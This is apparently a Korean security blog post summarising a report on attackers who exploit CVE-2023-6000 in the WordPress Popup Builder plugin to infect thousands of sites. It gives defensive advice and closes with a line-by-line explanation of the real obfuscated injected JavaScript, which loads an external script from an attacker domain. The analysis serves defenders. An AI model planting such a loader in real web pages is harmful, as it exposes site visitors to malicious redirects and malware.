본문 바로가기

최신 보안 동향

해커들은 WordPress 플러그인 결함을 악용하여 3,300개 사이트를 악성 코드로 감염

출처

 

https://www.bleepingcomputer.com/news/security/hackers-exploit-wordpress-plugin-flaw-to-infect-3-300-sites-with-malware/

 

Hackers exploit WordPress plugin flaw to infect 3,300 sites with malware

Hackers are breaching WordPress sites by exploiting a vulnerability in outdated versions of the Popup Builder plugin, infecting over 3,300 websites with malicious code.

www.bleepingcomputer.com

 

본문 내용

 

해커들이 오래된 버전의 팝업 빌더 플러그인의 취약점을 악용하여, 워드프레스 사이트를 침입하여 3,300개 이상의 웹 사이트를 악성 코드에 감염시키고 있다. 공격에 악용된 결함은 2023년 11월에 처음 공개된 팝업 빌더 버전 4.2.3 이상에 영향을 미치는 XSS 취약점인 CVE-2023-6000으로 추적되고 있다. 연초에 발견된 Balada Injector campaign은 이 특정 취약점을 악용하여, 6,700개 이상의 웹 사이트를 감염시켰는데, 이는 많은 사이트 관리자가 충분히 신속하게 패치를 적용하지 않았음을 나타낸다. 

 

Sucuri는 지난 3주 동안 눈에 띄게 증가한 새로운 캠페인을 발견했으며, 워드프레스 플러그인의 동일한 취약점을 노린다고 보고했다. PublicWWW 결과에 따르면, 이 최신 캠페인과 관련된 코드 인젝션은 3,329개의 워드프레스 사이트에서 발견되었으며, Sucuri의 자체 스캐너는 1,170개의 감염을 탐지했다. 

 

Injection details

 

이 공격은 워드프레스 관리자 인터페이스의 사용자 정의 자바스크립트 또는 사용자 정의 CSS 섹션을 감염시키며, 악성코드는 'wp_postmeta'데이터베이스 테이블에 저장된다. 삽입된 코드의 주요 기능은 'sgpb-ShouldOpen', 'sgpb-ShouldClose', 'sgpb-WillOpen', 'sgpbDidOpen', 'sgpbWillClose' 및 'sgpb-DidClose' 등 다양한 팝업 빌더 플러그인 이벤트의 이벤트 핸들러 역할을 한다. 이렇게 하면, 팝업이 열리거나 닫힐 때와 같이 플러그인의 특정 동작에 악성 코드가 실행된다. 

 

Sucuri는 이 코드의 정확한 동작은 다양할 수 있지만, 감염된 사이트의 방문자를 피싱 페이지나 멀웨어 드롭 사이트와 같은 악성 목적지로 리디렉션 하는 것이 주요 목적이라고 설명한다. 특히, 일부 감염 사례에서 분석가들은 코드가 리디렉션 URL(hxxp://ttincoming.traveltraffic [.] cc/? traffic)을 "contact-form-7" 팝업의 'redirect-url' 파라미터로 인젝션 하는 것을 관찰했다.

 

그림 1

위의 인젝션은 외부 소스에서 악성 코드 스니펫을 검색하여, 브라우저에서 실행되도록 웹 페이지 헤드로 삽입한다. 실제로 공격자는 이 방법을 통해 다양한 악의적인 목적을 달성할 수 있으며, 리다이렉션보다 더 심각한 목적을 달성할 수 있는 경우도 많다. 

 

Defending

 

이 공격은 "ttincoming.traveltraffic [.] cc" 및 "host.cloudsonicwave [.] com" 도메인에서 시작되므로 이 두 도메인을 차단하는 것이 좋다. 사이트에서 팝업 빌더 플러그인을 사용하는 경우 CVE-2023-6000 및 기타 보안 문제를 해결하는 최신 버전 ( 현재 4.2.7 )으로 업그레이드해야 한다. 

 

워드프레스 통계에 따르면 현재 최소 80,000 개의 활성 사이트가 팝업 빌더 4.1 이상을 사용하고 있으므로 공격 표면이 여전히 상당하다. 감염된 경우 제거하려면 팝업 빌더의 사용자 정의 섹션에서 악성 항목을 삭제하고 숨겨진 백도어를 검사하여 재감염을 방지해야 한다. 

 

코드 간단 해석 ( 그림 1 )

 

var d = document;
var e = d['create'+Element']('scr'+'ipt');
e['src'] = 'https://host.cloudsonicwave.com/';
e['type'] = 'text/javas'+'cript';
d['head']['append'+'Child'](e);";s:15:"sgpb-ShouldOpen";s:191:"var s = 1;
var d = document;
var e = d['create'+'Element']('scr'+'ipt');
e['src'] = 'https://host.cloudsonicwave.com/';
e['type'] = 'text/javas'+'cript';
d['head']['append'+'Child'](e);

 

var d = document; : 현재 문서(document)를 변수 d에 할당한다. 

var e = d ['create'+Element']('scr'+'ipt'); : createElement() 메서드를 사용해 script 요소를 생성하고, 이를 변수 e에 할당한다. 

e ['src'] = 'https://host.cloudsonicwave.com/'; : 변수 e의 src 속성을 설정하여, 외부 스크립트 파일을 로드한다. 

e ['type'] = 'text/javas'+'cript'; : 변수 e의 type 속성을 설정하여, 스크립트의 MIME 타입을 지정한다. 여기서는 text/javascript로 설정된다. 

d ['head']['append'+'Child'](e); : 문서의 head 요소에 변수 'e'를 추가한다. 이를 통해 외부 스크립트 파일이 해당 웹 페이지에서 실행되도록 할 수 있다. 

 

 

참고

 

https://nvd.nist.gov/vuln/detail/CVE-2023-6000

 

NVD - CVE-2023-6000

CVE-2023-6000 Detail Description The Popup Builder WordPress plugin before 4.2.3 does not prevent simple visitors from updating existing popups, and injecting raw JavaScript in them, which could lead to Stored XSS attacks. References to Advisories, Solutio

nvd.nist.gov